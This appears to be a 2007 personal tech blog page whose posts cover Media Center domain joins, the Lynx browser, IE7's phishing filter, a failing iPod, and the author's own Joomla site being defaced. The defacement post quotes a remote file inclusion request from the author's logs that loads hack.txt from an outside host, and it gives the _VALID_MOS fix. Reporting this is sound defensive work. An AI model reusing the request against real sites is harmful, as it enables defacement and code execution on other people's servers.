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Joining a domain with Media Center 2005 |
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Written by Steve King
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Friday, 19 October 2007 |
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I recently had an employee with a personal laptop that needed to join our domain at work, however this laptop came preinstalled with Windows Media Center Edition 2005 (MCE). MCE is based on XP Pro but Microsoft in its infinite wisdom decided to cripple it and remove the ability to join a domain much like XP home. At first I thought about reformatting the laptop and installing XP Pro, but I found out that with a little work you can get MCE to join a domain. Here’s how:
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Last Updated ( Monday, 22 October 2007 )
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Read more...
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Written by Steve King
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Sunday, 14 October 2007 |
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The other day I was looking through my site logs and I was stunned to see that I got one hit from a Lynx browser. Wow a blast from the past. Lynx is a text only browser that I remember using when I got my first internet account. It was a shell account with a local ISP using ProComm Plus as a VT100 terminal emulator, ah those were the days.  There it is right below Netscape - Ouch Larger Image You can download Lynx here http://lynx.isc.org/. Or download and install the windows version of Lynx here http://csant.info/lynx. With the rise of Google and the emphasis on Search Engine Optimization (SEO) Lynx is enjoying somewhat of a renaissance. Lynx is a great tool that allows you to see your site the way the Google crawler “sees” your site. If you can’t easily view and navigate your site Google won’t be able to do so either and your page rank will suffer. Lynx is still used to some extent because of its text-to-speech-friendly interface for the visually-impaired users. Lynx is also a great tool to see if your site meets is ADA regulations for the disabled. Fire up your site in Lynx can you navigate? Do you see nothing but “[image] [image] [image]?” If so, a visitor using screen reader technology arriving at your page will only hear the word “image” and not be able to “read” anything on the page. If this is the case, you should think about adding “Alt-tags” to your HTML coding. So check out Lynx and take a walk down internet memory lane.
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Last Updated ( Monday, 22 October 2007 )
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Written by Steve King
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Monday, 22 October 2007 |
A couple of days ago I was hacked, your typical front page defacement. I deleted everything reloaded from backups, changed all the passwords and I thought I was good to go. The next day it happened again, now I was upset, checking the log files I saw some strange entries, all in the form of:
GET/[path to components] config_absolute_path=http://www.kayyo.com/hack.txt
Some further googling lead me to the answer over at the Joomla forums. In the last few weeks this type of attack has become a major problem for Joomla and Mambo sites. Apparently some 3rd party Joomla components do not check to see if they are being called from directly from Joomla and instead allow code to be injected remotely.
All .php files of 3rd party add-ons should include the line below as the first command executed:
defined( '_VALID_MOS' ) or die( 'Restricted access' );
You can find a list of the components that have been compromised at the Joomla forum.
You can find a tool for checking if 3rd party components have the required check here.
Further investigation shows just how pathetic these script kiddies are. The access log show the attacks are coming directly from various forums. Yeah, clicking a link in a forum posting that’s high level hacking. On my site one of the defacements was created with FrontPage 2000. If you’re going to pretend to be a hacker at least download (steal) a decent HTML editor. Another one, psycho, even this posers nick is lame, uploaded his master piece and named it index.html, not realizing that index.php would come up first, how lame.
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Last Updated ( Monday, 22 October 2007 )
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Written by Steve King
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Monday, 22 October 2007 |
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Well according to IE 7.0 beta I am no longer a suspected phishing site. I filled out the Microsoft Phishing filter feedback form (to get de-listed) and now I am “clean”. It took approximately a week for Microsoft to de list me, longer then I would have thought. At this point in the beta I assume that Microsoft is reviewing submitted sites “by hand” in order to tweak the algorithm. In looking at Microsoft’s phishing filter FAQ and documentation they are not very forth coming as to how a site is determined to be suspicious, which makes sense, you don’t want to give the phishers a road map as to how to beat the system. On the other hand when IE 7.0 goes live and legitimate sites are flagged as suspicious or as actual phishing sites it won’t bode well for Microsoft and could add more credence to the Firefox camp.
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Last Updated ( Monday, 22 October 2007 )
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Written by Steve King
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Monday, 22 October 2007 |
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Well the Sad iPod icon has reared its ugly head again on my son’s 4th gen. 40 gig iPod. This will make the third time in 9 months that it's been sent back to Apple for repair (replacement). I've tried every trick in the book with this “designed in California made in China gadget updated the iTunes and iPod software, tried putting it in disc mode, tried diag. mode, resetting and restoring. And each time the Apple tech support agrees that the hard drive is fried and I must send it in. When I ask how I could get three bad hard drives in a row, tech support is non committal. For a device that has become a technological icon, I'm not impressed.
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Last Updated ( Monday, 22 October 2007 )
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